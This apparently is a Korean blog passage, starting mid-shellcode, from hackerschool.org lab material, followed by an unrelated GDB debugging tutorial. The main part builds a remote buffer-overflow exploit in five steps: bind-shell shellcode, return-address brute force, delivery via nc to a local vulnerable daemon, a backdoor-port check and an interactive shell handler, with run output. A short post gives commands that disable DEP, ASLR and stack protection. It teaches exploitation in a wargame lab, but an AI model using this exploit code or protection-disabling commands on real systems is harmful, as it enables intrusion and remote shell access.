"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
        memcpy(&Attack_String[316], &Ret_Addr, 4);
}
========================================================================
 
취약 프로그램의 string 변수 300바이트와 dummy 12바이트, sfp 4바이트 그리고 return address 4바이트를 합하여 총 320 바이트를 공격 스트링의 크기로 할당하였다.
그 다음엔 Brute Force를 통해 변경시킬 Ret_Addr 변수를 선언하였다.
다음 부분에서 Attack_String A 문자로 가득 채운 이유는 후에 완성된 공격
스트링을 쉘에 입력할 때, ;, |, & 등의 특수 문자가 입력되는 것을 방지하기
위함이다. 이렇게 초기화를 하지 않으면 쓰레기 값들이 대신 출력되기 때문이다.
 
이제 공격 스트링의 앞부분에 바인드 쉘코드를 복사하고, 취약 프로그램의 리턴
어드레스가 위치하는 부분에 공격자가 임의로 변경할 리턴 어드레스를 복사하였다.
이 변경할 값은 쉘 코드의 시작 부분이 될 것이며, 이제 Brute Force로 이 값을
추측하는 루틴을 추가해야 한다.
 
◎ Exploit 작성 2단계 : Brute Force 루틴 추가.
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                printf("%p\n", Ret_Addr);
                Ret_Addr -= 4;     // 0xc0000000에서부터 4바이트씩 감소
        }
}
========================================================================
 
* 실행 결과
 
====================================
[guest@ftz lecture]$ ./exploit 
0xc0000000
0xbffffffc
0xbffffff8
0xbffffff4
0xbffffff0
... 생략 ...
====================================
 
이처럼 스택의 가장 끝 부분부터 4바이트 단위로 리턴 어드레스를 변경 해 가다 보면, 언젠가는 쉘 코드의 시작 부분을 실행하게 될 것이다. 이제 다음은 쉘 코드와Brute Force로 얻은 새로운 리턴 어드레스의 주소를 취약 프로그램으로 전송하는 단계이다. 이 부분은 nc라는 패킷 전송 툴을 이용하면 편하다.
 
◎ Exploit 작성 3단계 : 공격 패킷 전송 루틴 추가
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                // 공격 패킷 전송 루틴
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
        }
}
========================================================================
        
이제 위 Exploit을 실행하면, 다음과 같이 취약 프로그램의 리턴 어드레스 값을
변경해가며 공격 패킷을 전송한다. 이 과정이 계속 반복하다가 취약 프로그램의
변경된 리턴 어드레스와 쉘 코드가 위치 하게 되는 string 변수의 시작 부분이
일치하게 되면, 백도어 포트가 열리게 될 것이다.
 
========================================================================
[guest@ftz lecture]$ ./exploit 
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
0xbffff9f8
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
... 생략 ...
========================================================================
 
 Exploit을 실행한 결과,  10여분이 지난 후에 45295번 포트가 열리게 되었고, 취약 프로그램을 수정하여 string 변수의 주소 값을 출력해본 결과 0xbffff9f8이 바로 공격자가 찾아내야 했던 값이라는 것을 알 수 있었다.
이처럼 백도어 포트를 오픈 하는 바인드 쉘코드와 Brute Force를 이용하여 독립적인 네트워크 프로그램에 대한 공격을 성공시켰다. 
하지만, 어느 순간에 공격에 성공했는지를 알 수 없었기 때문에, 수시로 45295번 포트로 수동 접속을 해봐야만 했다.
그럼 이번에는 자동으로 49295번 포트로 접속을 하여, 만약 접속에 성공했다면
Exploit을 종료시키는 루틴을 추가해 보겠다. 
 
◎ Exploit 작성 4단계 : 공격 성공 여부 판단 루틴 추가
 
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(45295);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 0, 8);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        // 45295번 포트로 접속이 되면 성공, 안되면 실패.
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xbffffa00;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
 
                // 공격 결과 체크 루틴
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        }
}
========================================================================
 
* 실행 결과
 
========================================================================
[guest@ftz lecture]$ ./exploit 
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
0xbffff9f8
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?ltB
Exploit Succeed.!
[guest@ftz lecture]$ 
========================================================================
 
이처럼 0xbfff9f8 값에서 공격에 성공하여 45295번 포트가 열렸음을 알 수 있게
되었다. 이제 수동으로 45295번 포트에 접속하면 쉘 권한을 획득할 수 있을 것이다.
하지만, 보통 공개된 Remote Exploit을 보면, 공격 성공 후 자동으로 쉘 권한까지 띄워주도록 구현되어 있다. 마지막으로 그 기능을 추가해보자. 
 
◎ Exploit 작성 5단계 : 쉘 권한 획득 루틴 추가
 
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
void Get_Shell(int sockfd)
{
        int length;
        char data[1024];
        fd_set read_fds;
 
        while(1){
                FD_ZERO(&read_fds);
                FD_SET(sockfd, &read_fds);
                FD_SET(0, &read_fds);
 
                select(sockfd+1, &read_fds, NULL, NULL, NULL);
 
                // 소켓으로부터 data가 왔을 때의 처리.
                if(FD_ISSET(sockfd, &read_fds)){
                        length = recv(sockfd, data, 1024, 0);
                        // 받은 내용을 화면에 출력한다.
                        if(write(1, data, length) == 0)
                                break;
                }
 
                // 공격자가 키보드를 입력했을 때의 처리.
                if(FD_ISSET(0, &read_fds)){
                        length = read(0, data, 1024);
                        // 입력한 내용을 쉘백도어로 전송한다.
                        if(send(sockfd, data, length, 0) == 0)
                                break;
                }
        }
}
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(45295);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 0, 8);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                // 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결.
                send(sockfd, "uname -a;id\n", 12, 0);
                Get_Shell(sockfd);
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xbffffa00;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        }
}
========================================================================
 
* 실행 결과
 
========================================================================
[guest@ftz lecture]$ ./exploit   
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Linux ftz.hackerschool.org 2.4.20 #1 SMP Fri Mar 28 22:31:45 EST 2003 i686 unknown
uid=1000(guest) gid=1000(guest) groups=1000(guest)
whoami
guest
========================================================================
 
이처럼 이제 공격 성공 후 바로 쉘 권한을 획득할 수 있게 되었다. 
Exploit의 업그레이드는 이 정도면 충분할 듯하다. 이제 더욱 효과적으로 리모트 오버플로우 공격을 성공시킬 수 있는 방법이 있는지 생각해보자.

지난 Xinetd 환경에서의 오버플로우 공격에선 총 7가지 방법으로 공격을 시도 볼 수 있었다. 하지만, 독립적인 네트워크로 구현된 취약 프로그램에는 그러한 시도를 해 볼 수 있는 범위가 아주 좁게 축소된다.

 
지금 이 환경에서의 RTL 기법을 생각해보자. 단순히 라이브러리 함수들 만으로는 쉘 백도어 포트를 생성하거나, 기타 어떤 다른 응용 방법이 존재하지 않는다.
쉘을 실행하는 backdoor.sh 파일을 생성하고, system() 함수를 이용해  n.telnetd 프로그램을 실행하는 정도의 방법을 생각할 수는 있지만, 이렇게 하려면 오히려 더욱 조잡한 공격 과정이 필요해질 것이다.
 

, return address 뒷쪽으로 대량의 NOP을 넣고 그 뒤의 쉘 코드가 실행되도 하는 것도 거의 불가능하다. 왜냐하면 보통 recv() 함수의 세번째 인자에 의해 전송 받는 데이터의 총 길이가 제한되어있기 때문이다. 이 길이가 return address영역을 초과하도록 프로그래밍하는 사람은 없을 것이다.

따라서 기껏해야 데몬이 받아들이는 버퍼의 한계를 넘지 않는 범위에서 NOP추가하는 정도의 기교밖에는 기대할 수 없을 것이다.

 

 

 

Posted by k1rha
2012. 6. 16. 15:41

[출처 : hackerschool.org]


gcc -o bookw0rm b.c -fno-stack-protector -z execstack -fno-builtin -mpreferred-stack-boundary=2


                         [스택 보호 ]                [스택 실행= DEP]           [까나리 해제]



dep 없애기
echo 0 > /proc/sys/kernel/exec-shield

ASLR 없애기
echo 0 > /proc/sys/kernel/exec-shield-randomize
sysctl -w kernel.randomize_va_space=0

Posted by k1rha
2012. 5. 6. 18:45

[출처 ]  http://blog.naver.com/endfirst?Redirect=Log&logNo=20003426603

링크를 다오려다가 복사해서 옵니다. 


GDB 사용하기

 

1.    GDB

 

GDB같은 디버거의 목적은 다른 프로그램 수행 중에  프로그램 내부에서’ 무슨 일이 일어나고 있는지 보여주거나 프로그램이 잘못 실행되었을  무슨 일이 일어나고 있는지 보여주는것이다. GDBC, C++, Modula-2  프로그램을 디버그   있다.

쉘에서 gdb GDB 시작하면 quit 종료명령을 주기전까지는 터미널로부터 명령라인을 읽어 들인다. help명령을 사용하여 gdb내부에서 도움말을   있다.

디버깅을 하기 위해서는 –g옵션을 주고 컴파일/링크 해야 한다만약 링크가 libg.a 찾을 없다고 하면서 실패하게 되면, /usr/lib/ligb.a 갖고 있지 않기 때문이다 파일은 특별한 라이브러리로서 디버깅 가능 C라이브러리이다. libc 패키지에 포함되어 있거나 또는 libc소스 코드를 받아서 컴파일 하면 생긴다. /usr/lib/libc.a /usr/lib/libg.a 링크 시켜도 된다.

 

l         코어파일 분석하기

 

코어파일은 충돌할 당시 프로세스의 메모리 이미지를 덤프한 것이다코어파일을 gdb 함께사용하여 프로그램의 상태를 조사하고 실패 원인을 규명할  있다어떤 예기치 않은 일이발생하여 비정상적인 종료가 발생할  운영체계는 디스크에 코어 파일을 남긴다.메모리에 관한 문제는 Checker 패키지를 사용하여 예방할  있다하지만 메모리 fault 일으키는 경우에는 충돌하면서 파일을 덤프한다코어파일은 일반적으로 프로세스를 실행시킨 현재 작업디렉토리에 생성되지만 프로그램 내에서 작업 디렉토리를 바꾸는 경우도 있다.

 

보통 리눅스는 부팅시에 코어 파일을 만들지 않도록 세팅되어 있다코어 파일 생성을 가능케하려고 한다면 그것을 다시 가능케 하는 셀의 내장 명령을 사용한다.

만약C 호환 (tcsh) 쓰고 있다면 다음과 같이 명령을 내린다.

%  limit core unlimited

만약 본쉘류( sh , bash , zsh , pdksh ) 사용하고 있다면,

$  ulimit –c unlimited

 같은 명령을 내린다.

코어파일을 함께 사용하기 위해선 다음과 같이 한다.

% gdb program core

 

 

 

l         실행 중인 프로그램 디버깅하기

 

gdb 이미 실행중인 프로그램도 디버깅할  있게 해준다프로세스 실행을 가로채고 조사한  다시 원래 상태로 실행하도록   있다. attach명령을 사용하여 실행중인 프로세서에 gdb 붙인다. attach 명령을 사용하기 위해서는 프로세스에 해당하는 실행 프로그램에허가권을 가지고 있어야 한다예를 들어 프로세스 ID 254번으로 실행 중인 pgmseq 프로그램이 있다면 다음과 같이 한다.

% gdb pgmseq

% attach 254

다음과 같이 해도 된다.

% gdb pgmseq 254

 

일단 gdb 실행 중인 프로세스에 부착되면 프로그램을 일시 중지 시키고 gdb명령을 사용할 있도록 제어권을 가져온다. break 사용하여 중지점을 사용할  있고 중지점에 이를 때까지 실행하도록 continue 명령을 사용할  있다.

detach명령을 사용하여 gdb 실행 중인 프로세스에서 떼어 낸다필요에 따라 다른 프로세스에 대하여 attach명령을 사용할  있다.

 

2.    gdb시작하기

 

% gdb                       - gdb 먼저 실행 file이라는 명령으로 program 부른다.

% gdb  program          - 일반적인 방법이다.

% gdb  program  core  - 코어파일을 사용할  동시에 인자로 준다.

% gdb  program  1234  - 실행중인 프로세스를 디버그 하려면 프로세스 ID  번째 인자로 주면 된다 명령은 gdb (‘1234’  이름의 파일이 없다면프로세스 1234 접속시킨다.(gdb core파일을 먼저 찾는다.)

 

실행절차

%  gcc  –g  test.c  –o  test

%  gdb  test

 명령을 실행하면 다음과 같은 메시지가 나타난다.

% gdb test

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

Welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i386-redhat-linux”...

(gdb)

 

3.    많이 사용하는 GDB명령어

 

list

현재 위치에서 소스 파일의 내용을 10 보여준다

list 2, 15 : 소스 파일의2 ~ 15 까지를 보여준다.

run

프로그램을 시작한다.(break 있다면 break까지 실행)

run arg : 새로운 인수를 가지고 프로그램을 시작한다.

arg “*” “[…]” 포함할 수도 있다.

쉘의 사용까지도 확장될  있다.

“<”,“>” , “>>”같은 입출력 방향 재지정기호도 또한 허용된다.

break

특정 라인이나 함수에 정지점을 설정한다.

break function : 현재 파일 안의 함수 function 정지점을 설정한다.

break file:function : 파일file안의 function 정지점을 설정한다.

watch 감시점 설정(감시점은 어떤사건이 일어날 때에만 작동한다)

until 실행중 line까지 실행

clear   

특정 라인이나 함수에 있던 정지점을 삭제한다.

delete 

몇몇 정지점이나 자동으로 출력되는 표현을 삭제한다.

next

다음 행을 수행한다서브루틴을 호출하면서 계속 수행한다.

호출이 발생하지 않으면 step 같다.

next n : 이를 n 수행하라는 의미

step

 줄씩 실행 시킨다.

함수를 포함하고 있으면 함수 내부로 들어가서  줄씩 실행시킨다.

print

print expr : 수식의 값을 보여준다.

display

현재 display 명령의 목록을 보여준다.

bt

프로그램 스택을 보여준다. (backtrace)

kill

디버깅 중인 프로그램의 실행을 취소한다.

file

file program : 디버깅할 프로그램으로서 파일을 사용한다.

cont

continue : 현재 위치에서 프로그램을 계속 실행한다.

help

명령에 관한 정보를 보여주거나 일반적인 정보를 보여준다.

quit

gdb에서 빠져나간다.

 

 

 

 

 

 

4.    gdb 해보기

 

예제1

 

% vi test.c

      1 #include <stdio.h>

      2

      3 main()

      4 {

      5     int i;

      6     double j;

      7     /*다음은i/2+i 값을 출력하는 문이다.

      8       i1이면 j1.5 되어야 하지만 실제는 그렇지 않다.*/

      9     for( i=0; i<5 ; i++){

     10         j=i/2+i;

     11         printf(“j is %f \n”,j);

     12     }

     13 }

% gcc –g test.c –o test

% test

실행이 되지 않으면 mv test a.out으로 하여a.out 실행시킨다실행을 시키면 원하는 답이 아니다그러면 gdb 해보자.

% gdb a.out

(gdb) list        // list 소스 내용을 10줄씩 보여준다.

1         #include <stdio.h>

2

3         main()

4         {

5         int i;

6         double j;

7         /*다음은i/2+i 값을 출력하는 문이다.

8         i1이면 j1.5 되어야 하지만 실제는 그렇지 않다.*/

9         ( i=0; i<5 ; i++){

j=i/2+i;

 

(gdb) b 9  // break 9 : for 문에 이상이 있다고 판단하여 line 9 breakpoint 잡는다.

Breakpoint 1 at 0x80483d6: file test.c, line 9.

(gdb) r     // run : breakpoint까지 실행된다.

Starting program: /home/pllab/chowing/gdb/a.out

Breakpoint 1, main () at test.c:9

9  for( i=0; i<5 ; i++){

(gdb) s                           // step : 한줄 실행시킨다.

j=i/2+i;

(gdb) s

11  printf(“j is %f \n”,j);

(gdb) p j         // print j : j 값을 본다.

$2 = 0

(gdb) n

j is 0.000000

for( i=0; i<5 ; i++){

(gdb) display i

(gdb) display j

(gdb) n

11  printf(“j is %f \n”,j);

2: j = 1

1: i = 1

// 10 line에서 실행  i=1 , j=1이므로 10 line에서 잘못된 것을   있다.

// 10 line j = (double) i/2 + i;  고친다.

(gdb) quit

 

예제2

 

% vi hab.c

      1 #include <stdio.h>

      2

      3 int hab(int x, int y);

      4

      5 main(void)

      6 {

      7     int a, b,dab;

      8     printf(“정수a, b 입력하시오”);

      9     scanf(“%d %d”,&a,&b);

     10     dab = hab(a,b);

     11     printf(“\n%d + %d = %d \n”,a,b,dab);

     12 }

     13 int hab(int x, int y)

     14 {

     15     return (x + y);

     16 }                                      

 

//  프로그램은 이상은 없다스택을 보기 위한 것이다.

// 여러 곳에서 호출되는 함수 안에서 충돌이 일어날 경우를 생각해 보자 때는 함수가 어디로부터 호출되었는지 그리고 어떤 상황에서 충돌이 일어났는지 파악하고자  것이다.

backtrace (bt) 명령을 이용하면 충돌이 일어난 시점에서 프로그램의 현재 호출 스택(call stack) 상태를   있다호출 스택은 현재 함수까지 이르는 호출 목록이다함수를 호출할때마다 보관된 레지스터 함수 전달 인수지역 변수 등의 자료를 스택에 push한다이렇게 해서  함수들은 스택상에 일정 공간을 차지한다특정함수에 대하여 스택에서 사용되고있는 메로리 부분을 스택프레임(frame)이라 부르며 호출 스택은 이러한 스택 프레임을 순서대로 정렬한 목록이다.

% gdb hab

(gdb) b 10      Breakpoint 2 at 0x8048428: file hab.c, line 10.

(gdb) r

Starting program: /home/pllab/chowing/gdb/hab

정수a, b 입력하시오3 4

breakpoint 2, main () at hab.c:10

10       dab = hab(a,b);

(gdb) bt         // 현재 스택에 main 있다.

#0  main () at hab.c:10

(gdb) s

hab (x=3, y=4) at hab.c:15

15          return (x + y);

(gdb) bt         // 지금은 스택에 hab 있다.

#0  hab (x=3, y=4) at hab.c:15

#1  0x8048435 in main () at hab.c:10

(gdb) frame 0 // hab 상태를 점검하기 위해서 스택 프레임0번으로 이동

#0  hab (x=3, y=4) at hab.c:15

15          return (x + y);

(gdb) up           // hab 어떻게 호출되었는가를 보기 위하여 상위 스택프레임으로 이동

#1  0x8048435 in main () at hab.c:10

dab = hab(a,b);

(gdb) finish

(gdb) info program     // 프로그램의 실행 상태를 보여 준다.

Using the running image of child Pid 12909.

Program stopped at 0x804843d.

It stopped after being stepped.

(gdb) info locals          // 현재 함수 내에서 모든 지역 변수 이름과 값을 출력한다.

a = 3

b = 4

dab = 7

(gdb) info variables   // 소스파일 순서대로 프로그램 내에 알려져 있는 모든 변수를 출력한다.

(gdb) info address a   // 어떤 변수가 어디에 저장되어 있는지에 대하여 알려 준다.

Symbol “a” is a local variable at frame offset -4.

// a 스택프레임 꼭대기로부터4바이트 아래에 놓여 있다는 뜻이다.

(gdb) info frame          // 현재 프레임 정보를 보여 준다.

Stack level 0, frame at 0xbffff848:

eip = 0x804843d in main (hab.c:11); saved eip 0x400301eb

source language c.

Arglist at 0xbffff848, args:

Locals at 0xbffff848, Previous frame’s sp is 0x0

Saved registers:

ebp at 0xbffff848, eip at 0xbffff84c

 

예제3

 

% vi core.c

      1 #include <stdio.h>

      2

      3 main()

      4 {

      5     char *bug = NULL;

      6

      7     strcpy(bug,“debug”);

      8     printf(“bug is %s \n”,bug);

      9

     10     return;

     11 }

     12

% coredebug

Segmentation fault

// core 파일 생성

% gdb coredebug

(gdb) b 7

Breakpoint 1, main () at core.c:7

7           strcpy(bug,”debug”);

(gdb) p bug

